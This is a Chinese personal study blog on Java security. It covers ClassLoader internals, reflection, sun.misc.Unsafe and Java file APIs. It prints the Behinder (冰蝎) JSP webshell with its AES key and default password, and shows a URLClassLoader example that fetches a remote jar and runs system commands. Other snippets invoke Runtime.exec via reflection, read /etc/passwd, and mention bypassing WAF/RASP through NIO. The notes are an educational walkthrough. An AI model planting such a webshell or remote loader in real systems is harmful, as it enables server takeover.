JAVA安全学习笔记(1)
ClassLoader
基础的基础
Java & JVM
.java文本文件 -> .class字节码 -> JVM执行
编译 javac TestHelloWorld.java
反编译 javap -c -l -p src/test/TestHelloWorld.class (JVM字节码)

查看二进制内容 hexdump -c src/test/TestHelloWorld.class
一切的Java类(.class文件)都必须经过JVM加载后才能运行,而ClassLoader的主要作用就是Java类文件的加载。在JVM类加载器中最顶层的是:
- Bootstrap ClassLoader(引导类加载器)
- Extension ClassLoader(扩展类加载器)
- App ClassLoader(系统类加载器)默认的加载器
**ClassLoader.getSystemClassLoader()**返回的系统类加载器也是AppClassLoader。
每个类都有一个ClassLoader,尝试获取被Bootstrap ClassLoader类加载器所加载的类的ClassLoader时候都会返回null。
java类加载方式:
- 显式:Java反射、ClassLoader **动态加载 **自定义类加载器去加载任意的类
- 隐式:类名.方法名()、new类实例
常用的类动态加载方式:
// 反射加载TestHelloWorld示例
Class.forName("com.anbai.sec.classloader.TestHelloWorld");
// ClassLoader加载TestHelloWorld示例
this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestHelloWorld");
Class.forName("类名") 默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName("类名", 是否初始化类, 类加载器),而ClassLoader.loadClass默认不会初始化类方法。
ClassLoader类加载流程

1 检查类是否已加载
首先,它调用findLoadedClass方法来检查该类是否已经被加载到内存中。如果已加载,则直接返回该类的Class对象。
2 使用父类加载器
如果类还没有被加载,则检查是否有父类加载器存在。如果有,它会尝试使用父类加载器来加载这个类。如果父类加载器可以加载这个类,它就会这样做,否则,流程会继续。
3 使用Bootstrap ClassLoader
如果没有父类加载器或父类加载器无法加载该类,那么将使用Bootstrap ClassLoader来尝试加载它。Bootstrap ClassLoader是JVM的一部分,它可以加载核心Java类库(比如java.lang.*)。
4 使用当前类加载器的 findClass 方法
如果前面的步骤都失败了,那么它会调用当前类加载器的findClass方法来尝试加载这个类。这是你可以覆写的一个方法,以实现你自己的类加载逻辑。
5 调用 defineClass 方法
如果findClass方法找到了类的字节码,它应该使用defineClass方法来注册这个类到JVM中。
6 链接类
最后,如果loadClass方法被调用时传递的resolve参数是true,它还将调用resolveClass方法来链接这个类。链接确保类可以被正确使用,它涉及验证类文件和初始化静态变量等步骤。
自定义ClassLoader
错误记录
➜ src javac test/TestClassLoader.java
test/TestClassLoader.java:2: 错误: 找不到符号
import test.TestHelloWorld;
^
符号: 类 TestHelloWorld
位置: 程序包 test
test/TestClassLoader.java:6: 错误: 找不到符号
TestHelloWorld t = new TestHelloWorld();
^
符号: 类 TestHelloWorld
位置: 类 TestClassLoader
test/TestClassLoader.java:6: 错误: 找不到符号
TestHelloWorld t = new TestHelloWorld();
^
符号: 类 TestHelloWorld
位置: 类 TestClassLoader
3 个错误
遇到这种问题通常是由于编译时类路径(classpath)的问题。编译时,javac需要知道在哪里可以找到所有需要的类。当你编译TestClassLoader.java时,它需要能够找到TestHelloWorld.class文件。
为了解决这个问题,你可以尝试在编译TestClassLoader.java时指定类路径。默认情况下,类路径应该包含当前目录(.),但在某些情况下,它可能没有被正确设置。
你可以通过添加**-cp .**参数来指定类路径,如下:
javac -cp . test/TestClassLoader.java
这个命令告诉javac在当前目录中查找类文件。
写一个TestClassLoader,如果和TestHelloWorld在一个classpath下可以直接加载
package test;
public class TestClassLoader {
public static void main(String[] args) {
TestHelloWorld t = new TestHelloWorld();
String str = t.hello();
System.out.print(str);
}
}
重写findClass
获取TestHelloWorld的字节码,写一个
package test;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Arrays;
public class GetByteCode {
public static void main(String[] args) {
try {
byte[] bytecode = Files.readAllBytes(Path.of("./test/TestHelloWorld.class"));
// 将字节码数组转换为字符串并打印到控制台
System.out.println(Arrays.toString(bytecode));
} catch (IOException e) {
e.printStackTrace();
}
}
}
然后,如果当前路径下没有TestHelloWorld,那么我们可以使用自定义类加载器重写findClass方法,然后在调用defineClass方法的时候传入TestHelloWorld类的字节码的方式来向JVM中定义一个TestHelloWorld类,最后通过反射机制就可以调用TestHelloWorld类的hello方法了。
测试代码:
package test;
import java.lang.reflect.Method;
public class DecoyClassLoader extends ClassLoader{
private static String testClassName = "test.TestHelloWorld";
private static byte[] testClassBytes = new byte[]{
// 这里贴钱吗的字节码
};
@Override
public Class<?> findClass(String name) throws ClassNotFoundException {
// 只处理TestHelloWorld类
if (name.equals(testClassName)) {
// 调用JVM的native方法定义TestHelloWorld类
return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
}
return super.findClass(name);
}
public static void main(String[] args) {
DecoyClassLoader loader = new DecoyClassLoader();
try {
// 使用自定义的类加载器加载TestHelloWorld类
Class testClass = loader.loadClass(testClassName);
// 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld();
Object testInstance = testClass.newInstance();
// 反射获取hello方法
Method method = testInstance.getClass().getMethod("hello");
// 反射调用hello方法,等价于 String str = t.hello();
String str = (String) method.invoke(testInstance);
System.out.println(str);
} catch (Exception e) {
e.printStackTrace();
}
}
}
- 你创建了一个名为DecoyClassLoader的类,该类继承了ClassLoader类。定义了两个私有静态变量来存储你想要加载的类的名字和字节码。
- 你重写了findClass方法来定制类的加载过程。如果请求的类名与你想要加载的类名匹配,则使用defineClass方法来定义该类,传递类名和字节码数组来创建一个Class对象。
- 在main方法中,你创建了DecoyClassLoader的一个实例,并使用它来加载你的目标类。一旦类被加载,你就使用反射来创建该类的一个实例,并调用其hello方法。
运行时背后的流程
- 类的加载当你运行程序时,JVM首先会加载DecoyClassLoader类(通过默认的类加载器)。
- 创建DecoyClassLoader实例在main方法中创建DecoyClassLoader的一个实例。
- 加载TestHelloWorld类使用DecoyClassLoader实例来加载TestHelloWorld类。它首先尝试找到已加载的类,如果找不到,则尝试使用父类加载器加载它。如果父类加载器也无法加载该类,则调用findClass方法来加载它。
- 类的实例化和方法调用一旦TestHelloWorld类被加载,就使用反射来创建其一个实例,并调用其hello方法来获取一个字符串,然后打印该字符串。
补充一些知识
Java类加载器 (ClassLoader)
- 类加载器的工作原理
- 加载: 通过读取 .class 文件或其他方式来获取类的字节码。
- 链接: 验证字节码结构的正确性,为静态字段分配内存,将符号引用转换为直接引用等。
- 初始化: 执行类的初始化代码,如静态块等。
- 自定义类加载器
- 可以通过继承 ClassLoader 类来创建自定义类加载器。
- 需要重写 findClass 方法来定义如何加载类。
- Bootstrap ClassLoader
- JVM的内建类加载器,用于加载核心Java类库。
Java 反射 (Reflection)
- 反射的概念
- 允许你在运行时检查和修改程序的行为。
- 反射的用途
- 动态加载类。
- 在运行时获取类的信息(如方法,字段等)。
- 动态调用方法。
- Class 类
- 表示正在运行的 Java 应用程序中的类和接口。
- 创建类的实例
- Class.newInstance 方法用于创建类的实例。
- 获取和调用方法
- 使用 Class.getMethod 来获取特定的方法。
- 使用 Method.invoke 来调用一个方法。
Java方法签名
- 泛型方法签名
- public Class> loadClass(String name)** 中的 **> 表示一个未知的泛型类型。
URLClassLoader
.jar 文件是 Java ARchive 文件的简称,它是一个包含多个 Java 类文件和相关的元数据和资源(文本、图片等)的文件。它基本上是一个 ZIP 文件,其内部结构和 ZIP 文件相同。
在 Java 开发中,.jar 文件通常用于打包多个类文件和相关资源,使其可以作为一个文件轻松分发和管理。你可以将它看作是一个类库或应用程序的集合,它包含所有你需要运行 Java 应用程序或使用 Java 类库的东西。
你可以使用 jar 命令行工具创建 .jar 文件,该工具包含在 JDK 中。例如,以下命令将 MyClass.class 和 MyResource.txt 文件打包到一个名为 myjar.jar 的 .jar 文件中:
jar cvf myjar.jar MyClass.class MyResource.txt
运行
java -jar myjar.jar
CMD.java
import java.io.IOException;
public class CMD {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}
javac CMD.java
jar cvf cmd.jar CMD.class
URLClassLoader继承了ClassLoader,URLClassLoader提供了加载远程资源的能力,在写漏洞利用的payload或者webshell的时候我们可以使用这个特性来加载远程的jar来实现远程的类方法调用。
package test;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;
public class TestURLClassLoader {
public static void main(String[] args) {
try {
// 定义远程加载的jar路径
URL url = new URL("http://10.211.55.12/cmd.jar");
// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader ucl = new URLClassLoader(new URL[]{url});
// 定义需要执行的系统命令
String cmd = "ls";
// 通过URLClassLoader加载远程jar包中的CMD类
Class cmdClass = ucl.loadClass("CMD");
// 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);
// 获取命令执行结果的输入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
// 读取命令执行结果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
// 输出命令执行结果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}
}
这里newURL[]{url}
- new URL[]: 这是创建一个新的URL对象数组的语法。它创建一个URL数组。
- {url}: 这里我们使用花括号 {} 来初始化数组。我们将url对象放入花括号中,表示这个数组的第一个(也是唯一的)元素是url对象。
所以整体来说,new URL[]{url}创建了一个包含一个元素的URL数组,该元素就是我们之前创建的url对象。
而URLClassLoader的构造函数接受一个URL数组作为参数,这意味着它可以接受多个URL来从多个位置加载类和资源。在我们的例子中,我们只有一个URL,所以我们创建了一个只有一个元素的数组来传递给URLClassLoader的构造函数。

类加载隔离
创建类加载器的时候可以指定该类加载的父类加载器,ClassLoader是有隔离机制的,不同的ClassLoader可以加载相同的Class(两者必须是非继承关系),同级ClassLoader跨类加载器调用方法时必须使用反射。

跨类加载器加载
代码:
package test;
import java.lang.reflect.Method;
import static test.DecoyClassLoader.testClassBytes;
import static test.DecoyClassLoader.testClassName;
public class TestCrossClassLoader {
public static class ClassLoaderA extends ClassLoader {
public ClassLoaderA(ClassLoader parent) {
super(parent);
}
{
// 加载类字节码
defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
}
}
public static class ClassLoaderB extends ClassLoader {
public ClassLoaderB(ClassLoader parent) {
super(parent);
}
{
// 加载类字节码
defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
}
}
public static void main(String[] args) throws Exception {
ClassLoader parentClassLoader = ClassLoader.getSystemClassLoader();
ClassLoaderA aClassLoader = new ClassLoaderA(parentClassLoader);
ClassLoaderB bClassLoader = new ClassLoaderB(parentClassLoader);
Class<?> aClass = Class.forName(testClassName, true, aClassLoader);
Class<?> aaClass = Class.forName(testClassName, true, aClassLoader);
Class<?> bClass = Class.forName(testClassName, true, bClassLoader);
System.out.println("aClass == aaClass:" + (aClass == aaClass));
System.out.println("aClass == bClass:" + (aClass == bClass));
System.out.println("\n" + aClass.getName() + "方法清单:");
Method[] methods = aClass.getDeclaredMethods();
for (Method method : methods) {
System.out.println(method);
}
// 创建类实例
Object instanceA = aClass.newInstance();
// 获取hello方法
Method helloMethod = aClass.getMethod("hello");
// 调用hello方法
String result = (String) helloMethod.invoke(instanceA);
System.out.println("\n反射调用:" + testClassName + "类" + helloMethod.getName() + "方法,返回结果:" + result);
}
}
public static class ClassLoaderA extends ClassLoader
在Java中,你可以在类的实例初始化代码块中编写代码,这些代码在每次创建类的新实例时都会执行。这是通过使用大括号 {} 来定义代码块实现的,如你在代码中所见。
这段代码是一个实例初始化代码块,它将在每次创建ClassLoaderA类的新实例时执行。
** ClassLoaderA aClassLoader = new ClassLoaderA(parentClassLoader);**
** ClassLoaderB bClassLoader = new ClassLoaderB(parentClassLoader);**
ClassLoaderA和ClassLoaderB都使用System ClassLoader作为父类加载器。然后在实例化这两个加载器的时候,他们都用defineClass加载了一个类到内存里,虽然背后都是用它们继承来的父类加载器做的。但内存里的两个类依然是不同的。
Class> aClass = Class.forName(testClassName, true, aClassLoader); **
**Class> bClass = Class.forName(testClassName, true, bClassLoader);
这个我理解是从JVM取出这两个类
**Class.forName(String name, boolean initialize, ClassLoader loader)**方法有三个参数:
- name:要加载的类的全限定名(包名+类名)。
- initialize:是否要初始化类。初始化意味着会执行类的静态初始化块和静态字段的初始化。如果设置为false,则类不会被初始化,但是会被加载和连接。
- loader:用于加载类的类加载器。

JSP自定义类加载后门
浅看一下
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
%>
<%
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>
后门会经过AES解密得到一个随机类名的类字节码,然后调用自定义的类加载器加载,最终通过该类重写的equals方法实现恶意攻击
最后这一长串的代码可以分三块:
new U(this.getClass().getClassLoader())
.g(
c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))
).newInstance().equals(pageContext);
问题:
- 在冰蝎JSP木马的代码中,通过自定义类加载器加载并实例化一个类后,直接调用了该类的 equals 方法。为什么可以这样做?
- 在使用反射调用类中的方法时,为什么不能直接使用 instance.methodName() 的格式调用,而需要使用更复杂的反射API来调用?
- newInstance().equals(pageContext) 是如何直接调用的,没有通过反射API是如何实现的?
答案:
- **直接调用 equals 方法
**之所以可以直接调用 equals 方法,是因为 equals 方法是 Object 类的一个方法,所有的类都是 Object 类的子类。因此,编译器知道任何类都会有一个 equals 方法,这就允许你直接调用它而不需要任何额外的步骤。 - **为什么需要反射来调用方法
**在你没有一个类型明确的引用时(例如,当你通过类加载器动态加载一个类时),你不能直接调用该类的方法,因为编译器无法确定这些方法是否存在。在这种情况下,你需要使用反射API来动态调用方法。反射允许你在运行时动态访问和调用方法,而不是在编译时进行静态类型检查。 - **使用 newInstance().equals(pageContext)
**在这段代码中,newInstance() 方法用于创建一个该类的新实例。然后,使用 equals 方法来调用该实例的 equals 方法,并将 pageContext 传递给它。这是可能的,因为如我们之前提到的,equals 方法是 Object 类的一部分,而所有类都继承自 Object 类。
待办
FastJson攻击链分析
- BCEL ClassLoader
- Xalan ClassLoader
Java反射机制
获取Class对象
Java反射操作的是java.lang.Class对象,所以我们需要先想办法获取到Class对象,通常我们有如下几种方式获取一个类的Class对象:
- 类名.class,如:com.anbai.sec.classloader.TestHelloWorld.class。
- Class.forName("com.anbai.sec.classloader.TestHelloWorld")。
- classLoader.loadClass("com.anbai.sec.classloader.TestHelloWorld");
获取数组类型的Class对象需要使用Java类型的描述符方式,如下:
Class<?> doubleArray = Class.forName("[D");//相当于double[].class
Class<?> cStringArray = Class.forName("[[Ljava.lang.String;");// 相当于String[][].class
获取Runtime类的例子:
String className = "java.lang.Runtime";
Class runtimeClass1 = Class.forName(className);
Class runtimeClass2 = java.lang.Runtime.class;
Class runtimeClass3 = ClassLoader.getSystemClassLoader().loadClass(className);
反射调用内部类的时候需要使用Hello。
反射java.lang.Runtime
不使用反射的本地命令执行
System.out.println(org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream(), "UTF-8"));
org.apache.commons.io.IOUtils.toString用来将InputStream转为String
**使用反射的方法**
package reflect;
import java.lang.reflect.*;
import java.io.InputStream;
public class RunReflect {
public static void main(String[] args) throws Exception {
Class runtimeClass1 = Class.forName("java.lang.Runtime");
// 获取构造方法
Constructor constructor = runtimeClass1.getDeclaredConstructor();
constructor.setAccessible(true);
// 创建Runtime类示例,等价于 Runtime rt = new Runtime();
Object runtimeInstance = constructor.newInstance();
// 获取Runtime的exec(String cmd)方法
Method runtimeMethod = runtimeClass1.getMethod("exec", String.class);
// 调用exec方法,等价于 rt.exec(cmd);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, "whoami");
// 获取命令执行结果
InputStream in = process.getInputStream();
// 输出命令执行结果
System.out.println(org.apache.commons.io.IOUtils.toString(in, "UTF-8"));
}
}
反射调用Runtime实现本地命令执行的流程如下:
- 反射获取Runtime类对象(Class.forName("java.lang.Runtime"))。
- 使用Runtime类的Class对象获取Runtime类的无参数构造方法(getDeclaredConstructor()),因为Runtime的构造方法是private的我们无法直接调用,所以我们需要通过反射去修改方法的访问权限(constructor.setAccessible(true))。
- 获取Runtime类的exec(String)方法(runtimeClass1.getMethod("exec", String.class)😉。
- 调用exec(String)方法(runtimeMethod.invoke(runtimeInstance, cmd))。
注意,这个代码只有在java版本小于9才能运行。从Java 9开始,通过Java平台模块系统(JPMS)引入了更严格的访问控制,这使得访问某些核心类库的内部API变得更加受限。特别是,它不允许你通过反射来调用一个模块的非公共部分,除非该模块被显式地打开给调用的模块。
另外setAccessible是反射类的一个方法,不是runtime类提供的。
Runtime类构造方法示例代码片段:
public class Runtime {
/** Don't let anyone else instantiate this class */
private Runtime() {}
}
私有的类构造方法,不能使用Runtime rt = new Runtime();的方式创建Runtime对象。
runtimeClass1.getDeclaredConstructor和runtimeClass1.getConstructor都可以获取到类构造方法,区别在于后者无法获取到私有方法。反射类创建实例:
constructor.newInstance()
获取当前类所有的成员方法
getMethod和getDeclaredMethod都能够获取到类成员方法,区别在于getMethod只能获取到当前类和父类的所有有权限的方法(如:public),而getDeclaredMethod能获取到当前类的所有成员方法(不包含父类)。
Method method = clazz.getDeclaredMethod("方法名");
Method method = clazz.getDeclaredMethod("方法名", 参数类型如String.class,多个参数用","号隔开);
反射调用方法
通过Method的invoke方法来调用类方法,method.invoke的第一个参数必须是类实例对象,如果调用的是static方法那么第一个参数值可以传null。
method.invoke(方法实例对象, 方法参数值,多个参数值用","隔开);
获取当前类的所有成员变量
Field fields = clazz.getDeclaredFields();
获取当前类指定的成员变量:
Field field = clazz.getDeclaredField("变量名");
getField和getDeclaredField的区别同getMethod和getDeclaredMethod。
获取成员变量值:
Object obj = field.get(类实例对象);
修改成员变量值:
field.set(类实例对象, 修改后的值);
同理,当我们没有修改的成员变量权限时可以使用: field.setAccessible(true)的方式修改为访问成员变量访问权限。
sun.misc.Unsafe
获取Unsafe对象
import sun.reflect.CallerSensitive;
import sun.reflect.Reflection;
public final class Unsafe {
private static final Unsafe theUnsafe;
static {
theUnsafe = new Unsafe();
省去其他代码......
}
private Unsafe() {
}
@CallerSensitive
public static Unsafe getUnsafe() {
Class var0 = Reflection.getCallerClass();
if (var0.getClassLoader() != null) {
throw new SecurityException("Unsafe");
} else {
return theUnsafe;
}
}
省去其他代码......
}
反射获取Unsafe类实例代码实验:
package reflect;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
public class TestUnsafe {
static class TestClass {
private TestClass() {
System.out.println("TestClass private constructor");
}
}
public static void main(String[] args) throws Exception {
// 反射获取Unsafe的theUnsafe成员变量
Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe");
// 反射设置theUnsafe访问权限
theUnsafeField.setAccessible(true);
// 反射获取theUnsafe成员变量值
Unsafe unsafe = (Unsafe) theUnsafeField.get(null);
// 使用Unsafe来实例化TestClass,allocateInstance会绕过类的构造方法去实例一个类
TestClass testInstance = (TestClass) unsafe.allocateInstance(TestClass.class);
System.out.println("Instance created: " + testInstance);
}
}
关于(Unsafe) theUnsafeField.get(null);
Field 类的 get 方法允许你动态地获取字段的值。当你调用 get 方法时,你需要传递一个对象作为参数,该对象代表你想要获取字段值的类的实例。但是,对于静态字段,你不需要实例对象来获取字段的值,因此你可以传递 null 作为 get 方法的参数。
也可以用反射创建Unsafe类实例的方式去获取Unsafe对象:
// 获取Unsafe无参构造方法
Constructor constructor = Unsafe.class.getDeclaredConstructor();
// 修改构造方法访问权限
constructor.setAccessible(true);
// 反射创建Unsafe类实例,等价于 Unsafe unsafe1 = new Unsafe();
Unsafe unsafe1 = (Unsafe) constructor.newInstance();
defineClass直接调用JVM创建类对象
如果ClassLoader被限制的情况下我们还可以使用Unsafe的defineClass方法来实现同样的功能。
Unsafe提供了一个通过传入类名、类字节码的方式就可以定义类的defineClass方法:
- public native Class defineClass(String var1, byte[] var2, int var3, int var4);
- public native Class<?> defineClass(String var1, byte[] var2, int var3, int var4, ClassLoader var5, ProtectionDomain var6);
使用Unsafe创建TestHelloWorld对象:
// 使用Unsafe向JVM中注册com.anbai.sec.classloader.TestHelloWorld类
Class helloWorldClass = unsafe1.defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);
Java 文件系统
**JNI:**JNI(Java Native Interface)是一个标准的编程框架,允许Java代码与其他语言编写的代码进行交互和集成,最常见的是C和C++。这
**native方法:**在 Java 中,native 关键字用于声明一个方法是在 Java 之外的代码中实现的,通常是在 C 或 C++ 中。这允许 Java 通过 JNI(Java Native Interface)与已有的库或特定于平台的功能交互。
在Java SE中内置了两类文件系统:java.io和java.nio,java.nio的实现是sun.nio,文件系统底层的API实现如下图:

Java抽象出了一个叫做文件系统的对象:java.io.FileSystem,不同的操作系统有不一样的文件系统,例如Windows和Unix就是两种不一样的文件系统: java.io.UnixFileSystem、java.io.WinNTFileSystem。
Java只是实现了对文件操作的封装而已,最终读写文件的实现都是通过调用native方法实现的。
不过需要特别注意一下几点:
- 并不是所有的文件操作都在java.io.FileSystem中定义,文件的读取最终调用的是java.io.FileInputStream#read0、readBytes、java.io.RandomAccessFile#read0、readBytes,而写文件调用的是java.io.FileOutputStream#writeBytes、java.io.RandomAccessFile#write0。
- Java有两类文件系统API!一个是基于阻塞模式的IO的文件系统,另一是JDK7+基于NIO.2的文件系统。
Java 7提出了一个基于NIO的文件系统,这个NIO文件系统和阻塞IO文件系统两者是完全独立的。合理的利用NIO文件系统这一特性我们可以绕过某些只是防御了java.io.FileSystem的WAF/RASP。
读写文件实验
FileInputStream
package filesystem;
import java.io.*;
public class FileInputStreamDemo {
public static void main(String[] args) throws IOException {
File file = new File("/etc/passwd");
// 打开文件对象并创建文件输入流
FileInputStream fis = new FileInputStream(file);
// 定义每次输入流读取到的字节数对象
int a = 0;
// 定义缓冲区大小
byte[] bytes = new byte[1024];
// 创建二进制输出流对象
ByteArrayOutputStream out = new ByteArrayOutputStream();
// 循环读取文件内容
while ((a = fis.read(bytes)) != -1) {
// 截取缓冲区数组中的内容,(bytes, 0, a)其中的0表示从bytes数组的
// 下标0开始截取,a表示输入流read到的字节数。
out.write(bytes, 0, a);
}
System.out.println(out.toString());
}
}
FileOutputStream
package filesystem;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
public class FileOutputStreamDemo {
public static void main(String[] args) throws IOException {
// 定义写入文件路径
File file = new File("./1.txt");
// 定义待写入文件内容
String content = "Hello World.";
// 创建FileOutputStream对象
FileOutputStream fos = new FileOutputStream(file);
// 写入内容二进制到文件
fos.write(content.getBytes());
fos.flush();
fos.close();
}
}
RandomAccessFile
java.io.FileInputStream既可以读取文件,而且还可以写文件。
package filesystem;
import java.io.*;
public class RandomAccessFileDemo {
public static void main(String[] args) {
// 读文件
File file = new File("/etc/passwd");
try {
// 创建RandomAccessFile对象,r表示以只读模式打开文件,一共有:r(只读)、rw(读写)、
// rws(读写内容同步)、rwd(读写内容或元数据同步)四种模式。
RandomAccessFile raf = new RandomAccessFile(file, "r");
// 定义每次输入流读取到的字节数对象
int a = 0;
// 定义缓冲区大小
byte[] bytes = new byte[1024];
// 创建二进制输出流对象
ByteArrayOutputStream out = new ByteArrayOutputStream();
// 循环读取文件内容
while ((a = raf.read(bytes)) != -1) {
// 截取缓冲区数组中的内容,(bytes, 0, a)其中的0表示从bytes数组的
// 下标0开始截取,a表示输入流read到的字节数。
out.write(bytes, 0, a);
}
System.out.println(out.toString());
} catch (IOException e) {
e.printStackTrace();
}
// 写文件
File file2 = new File("./test.txt");
// 定义待写入文件内容
String content = "Hello World.";
try {
// 创建RandomAccessFile对象,rw表示以读写模式打开文件,一共有:r(只读)、rw(读写)、
// rws(读写内容同步)、rwd(读写内容或元数据同步)四种模式。
RandomAccessFile raf = new RandomAccessFile(file2, "rw");
// 写入内容二进制到文件
raf.write(content.getBytes());
raf.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
FileSystemProvider
前面章节提到了JDK7新增的NIO.2的java.nio.file.spi.FileSystemProvider,利用FileSystemProvider我们可以利用支持异步的通道(Channel)模式读取文件内容。
Java 文件名空字节截断漏洞
2013年9月10日发布的Java SE 7 Update 40修复了空字节截断这个历史遗留问题。此次更新在java.io.File类中添加了一个isInvalid方法,专门检测文件名中是否包含了空字节。